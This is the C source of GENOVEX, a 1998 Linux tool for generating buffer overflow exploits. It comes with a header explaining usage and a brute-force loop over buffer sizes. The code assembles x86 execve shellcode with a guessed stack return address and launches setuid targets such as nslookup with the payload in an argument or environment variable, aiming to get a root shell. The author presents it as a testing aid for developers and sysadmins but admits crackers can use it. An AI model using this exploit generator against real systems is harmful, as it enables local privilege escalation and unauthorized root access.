/************************************************************************
 * GENOVEX : GENeric buffer OVerflow tester and EXploiter for Linux.
 * This code was written to help developpers to test their programs
 * against risks of overflowing, for sysadmins to quickly test the
 * packages they install, and mostly for those security-aware people
 * who would do anything to discover a bug before everyone else.
 *
 * WARNING: This code can also be used by crackers to try to try to
 *          gain root access on your system. It is strongly recommended
 *          that you use it to test your setuid/setgid programs BEFORE
 *          anyone does it for you !
 *	    Also think to protect this in a directory where nobody can
 *          access it. Of course, one can take it from the web, but till
 *          the person doesn't know its existence, this program may not
 *          be abused.
 *
 * DISCLAIMER
 *          This program has NOT been written to help anybody crack
 *          any system, though it can be used for that purpose. No need
 *          to email me if you discover a root on your system, you'd had
 *          to use it BEFORE ! Under no circumstance I could be liable for
 *          any misuse of these data.
 *
 * Personal note to all those pimpled face ass holes who spend their time
 * to crack our sites : if you want to use this to crack, go and fuck away.
 *
 * If I have some spare time, I'll try to improve it a bit to make it more
 * autonomous. Also feel free to send me comments and/or patches.
 *
 * This is version 0.1, on the 1998/09/01, and I hope there will be more.
 *
 * Primary site:  http://www-miaif.lip6.fr/willy/security/linux.html
 *       E-mail:  tarreau@aemiaif.lip6.fr
 *
 *
 * How to use it:
 * 1) compile it :
 *    $ gcc -o genovex genovex.c
 *
 * 2) run it without any arg to get the help screen :
 *    $ ./genovex
 *
 * 3) follow the instructions and test :
 *    - run an app with the code as the first argument :
 *    $ ./genovex -o 300 -b 260 -s /bin/sh nslookup @
 *    - run an app with the code in the environment :
 *    $ ./genovex -o 300 -b 4544 -p 100 -e HOME -s /bin/sh minicom -s
 *
 * 4) test whatever you want. You could use scripts which loop for the
 *    buffer size, for example. Since a shell blocks the loop, it's
 *    easy to find the right value :
 *
 *  bufsiz=200
 *  while [ $bufsiz -lt 300 ]; do
 *    ./genexp -o 300 -b $bufsiz -p 0 -s /bin/sh nslookup @
 *    bufsiz=`expr $bufsiz + 1`
 *  done
 *
 */

#include <stdio.h>
#include <strings.h>

#define DEFOFS	200
#define DEFBUF	1024
#define DEFPAD	0
#define DEFSHELL "/bin/sh"
#define DEFIDENT "@"

#define PADBYTE  0x41		/* 'A' = inc ecx */

char *target;	/* points to the target name */
char *args[256];/* up to 256 arguments for the target */
char *ident, *envname, *shell;
unsigned char *code; /* the string containing the code */
int codesize;

int ofs, buf, pad;  
int nbarg=0;
int esp;

/* get current stack pointer */
static inline getesp() {
  __asm__(" movl %esp,%eax ");
}

void usage(char *argv0) {
  printf("Usage: %s [-o stackofs] [-b bufsiz] [-p padsiz] [-s shell]\n"\
	 "              [-i ident] [-e varname] target [args|ident]*\n"\
	 "\n"\
	 "  <stackofs> is the offset the target's stack pointer will have,\n"\
	 "             relative to this program's. The bigger the buffer\n"\
	 "	       size, the less precise it can be. Defaults to %d.\n"\
	 "  <bufsiz>   is the exact size of the buffer we are overflowing.\n"\
	 "	       Defaults to %d and can be approx if using padding.\n"\
	 "  <padsiz>   is the padding size. It allows to overwrite other\n"\
	 "             variables between the end of the buffer and the\n"\
	 "	       stack pointer. It defaults to %d.\n"\
	 "  <shell>    is the full path to a shell name to be executed by\n"\
	 "             target. /usr/bin/id very useful. Default: %s.\n"\
	 "  <ident>    is a pattern used to identify the code string within\n"\
	 "             the target arguments. Defaults to '%s'.\n"\
	 "  <varname>  is the name of an environment variable to be set to\n"\
	 "             the code string. By default, none is set.\n"\
	 "  <target>   is the program to test, followed by some arguments\n"\
	 "             and the pattern used to replace the sensible one.\n"\
	 "Ex: %s -o 300 -b 260 -s /bin/ls nslookup @\n"
	 , argv0, DEFOFS, DEFBUF, DEFPAD, DEFSHELL, DEFIDENT, argv0);
  exit(1);
}

/* returns integer argument following <word>, or <dflt> */
int getiarg(int xargc, char **xargv, char *word, int dflt) {
  int arg;
  for (arg=1; arg<xargc; arg++) {
    if (!strcmp(xargv[arg],word)) {
      if (++arg>=xargc)
	usage(xargv[0]);
      return atol(xargv[arg]);
    }
  }
  return dflt;
}


/* returns string argument following <word>, or <dflt> */
char *getsarg(int xargc, char **xargv, char *word, char *dflt) {
  int arg;
  for (arg=1; arg<xargc; arg++) {
    if (!strcmp(xargv[arg],word)) {
      if (++arg>=xargc)
	usage(xargv[0]);
      return xargv[arg];
    }
  }
  return dflt;
}

/* returns non-zero if the given int contains at least one 0x00 in one of
 its four bytes.
*/
int has0(int i) {
  return 
    !(i & 0xFF) | 
    !((i >> 8) & 0xFF) |
    !((i >> 16) & 0xFF) |
    !((i >> 24) & 0xFF);
}

/* pushes the string <str> at the top of the stack pointed to by <ptr>,
   and returns <ptr> decreased by <str>'s length.
*/
unsigned char *pushstr(unsigned char *ptr, unsigned char *str) {
  int l;
  ptr-=(l=strlen(str));
  memcpy(ptr, str, l);
  return ptr;
}

main(int argc, char **argv) {
  int arg;
  unsigned char *codeptr, *codeend, *i;

  printf("GENOVEX v0.1 - 1998/09/01 - Willy Tarreau <tarreau@aemiaif.lip6.fr>\n"
	 "GENeric buffer OVerflow tester and EXploiter for Linux.\n");

  ofs=getiarg(argc, argv, "-o", DEFOFS);
  buf=getiarg(argc, argv, "-b", DEFBUF);
  pad=getiarg(argc, argv, "-p", DEFPAD);

  shell=getsarg(argc, argv, "-s", DEFSHELL);
  ident=getsarg(argc, argv, "-i", DEFIDENT);
  envname=getsarg(argc, argv, "-e", NULL);

  if ((pad<0) || (pad>127)) {
    printf("Error: padding can not exceed 127 bytes at the moment.\n");
    printf("Version 0.2 will get rid of this limitation if really needed.\n");
    exit(1);
  }

  if (strlen(shell)+22>buf) {
    printf("Error: buffer too small for shell name + code.\n");
    exit(1);
  }

  /* look for the target name */
  arg=1;
  while ((arg<argc) && (argv[arg][0]=='-'))
    arg+=2;
  if (arg>=argc)
    usage(argv[0]);
  target=argv[arg++];
  /* don't forget <arg> now, we still need it */

  codesize=buf+pad+4+1;
  code=(char *)malloc(codesize); /* buffer + padding + ESP + 0x00 */
  codeend=code+codesize-1;
  *(codeend)=0; /* ends the string */
  codeptr=codeend; /* points to the first byte NOT in code */


  args[nbarg++]=target;	/* set future argv[0] */
  for (;arg<argc;arg++)
    if (!strcmp(argv[arg],ident))
      args[nbarg++]=code;
    else
      args[nbarg++]=argv[arg];

  args[nbarg++]=NULL;

  /* let's begin to make the data block. This time, we'll start from
     the end, since the stack is going down, this is easier to process.
  */
  printf(" - Using buffer size of %d bytes.\n", buf);

  esp=getesp();
  printf(" - ESP set to 0x%08X - 0x%08X = 0x%08X.\n",esp,ofs,esp-ofs);
  esp-=ofs;
  if (has0(esp)) printf("****WARNING**** ESP encoding contains 0x00 !!\n");

  memcpy(codeptr-=sizeof(esp), &esp, sizeof(esp));

  if (pad) {
    printf(" - Padding with %d bytes @rel0x%08X.\n",pad, (codeend-code)-pad);
    memset(codeptr-pad, PADBYTE, pad);
    codeptr-=pad;
  }

  printf(" - Setting the shell name : %s.\n",shell);
  codeptr-=strlen(shell);
  memcpy(codeptr, shell, strlen(shell));

  printf(" - Coding the launcher.\n");

  codeptr=pushstr(codeptr,
	 "\x83\xEC\xF4"	/* sub  esp,-12 */	\
	 "\x50"		/* push eax     */	\
	 "\x53"		/* push ebx     */	\
	 "\x89\xCA"	/* mov  edx,ecx */	\
	 "\x2C\xF5"	/* sub  al,11   */	\
	 "\xCD\x80");	/* int  0x80    */

  *(--codeptr)=(-strlen(shell)) & 0xFF;	/* arg to lea ebx,[esp-xxx] */

  codeptr=pushstr(codeptr,
	 "\x31\xC0"		/* xor  eax,eax */	\
	 "\x50"			/* push eax     */	\
	 "\x8D\x5C\x24");	/* lea  ebx,[esp-...]*/	\


  if ( !pad ) {
    codeptr=pushstr(codeptr,"\x89\xE1");	/* mov ecx, esp */
  }
  else {
    *(--codeptr)=(-pad) & 0xFF;	/* arg to add esp,-xxx */
    codeptr=pushstr(codeptr,
                    "\x89\xE1"		/* mov ecx, esp */ \
		    "\x83\xC4");	/* add esp,-xxx */
  }
  /* This completes the buffer from its beginning to the first byte
     of real code.
  */
  printf(" - Filling till the start of the buffer : %d bytes.\n",
	 codeptr-code);
  while (codeptr>=code)
    *(--codeptr)=PADBYTE;

  /*printf("Code = %s\n",code);*/
  /* set the environment variable if needed */
  if (envname) {
    printf (" - Setting environment variable %s\n",envname);
    if (setenv(envname, code, 1)!=0)
      perror("setenv");
  }
  
  for (i=code; i<codeend; i++)
    if (!*i) {
      printf("****WARNING**** code contains 0x00 at 0x%04X : %02X %02X %02X %02X\n",
	     i-code,
	     *i, *(i+1),
	     (i<codeend-1)?*(i+2):0, (i<codeend-2)?*(i+3):0);
    }

  printf (" -> launching %s\n",target);
  execvp(target, args);
  perror("execvp says");
  exit(2);
}
